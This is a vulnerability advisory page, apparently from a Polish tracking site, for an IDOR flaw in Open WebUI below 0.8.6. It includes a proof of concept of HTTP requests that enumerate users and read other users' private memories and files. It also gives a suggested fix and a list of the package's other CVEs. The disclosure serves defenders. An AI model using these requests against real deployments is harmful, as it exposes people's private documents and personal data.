Niska

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

  • Ujawniono: 27.03.2026
  • Aktualizacja: 11.10.2026 14:17

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

python
async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

  • User files: file-{FILE_UUID}
  • User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

  1. Register two users: admin (first user) and attacker (second user).
  2. As admin, upload a PDF document through chat.
  3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

js
{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "user@test.com",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "admin@test.com",
      "role": "admin"
    }
  ]
}
<img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" />

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

js
{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
<img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" />

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

js
{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}
<img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" />

Impact

  • Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
  • User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
  • Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
  • No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

python
async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) open-webui < 0.8.6 0.8.6

Odnośniki

Ocena CVSS 3.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-639
Platforma
Python (PyPI)
Paczka
open-webui
Ujawniono
27.03.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2765 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w9f8-gxf9-rhvw - CC BY 4.0

Historia podatności: open-webui

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (161) w archiwum
Wszystkich wpisów
161
Pierwsza → ostatnia
08.2024 09.2026
Bez poprawki
11
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 77
  • Średnia 75
  • Niska 8

Ujawnienia w latach

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Istotność:
  1. Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories ten wpis
    Niska · 3.1 CVE-2026-29071 < 0.8.6 0.8.6
  2. Wysoka · 8.7 CVE-2026-70492 >= 0.10.0, < 0.11.0 0.11.0
  3. Wysoka · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  4. Wysoka · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  5. Wysoka · 7.3 CVE-2026-26192 < 0.7.0 0.7.0
  6. Wysoka · 7.6 CVE-2026-54013 < 0.9.6 0.9.6
  7. Wysoka · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  8. Wysoka · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  9. Wysoka · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  10. Wysoka · 8.3 CVE-2026-44570 < 0.6.19 0.6.19
  11. Wysoka · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  12. Wysoka · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  13. Wysoka · 8.3 CVE-2026-56400 < 0.3.33 0.3.33
  14. Wysoka · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  15. Wysoka · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  16. Wysoka · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  17. Krytyczna · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  18. Wysoka · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
Pokaż więcej (18) Widać 61 z 79

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.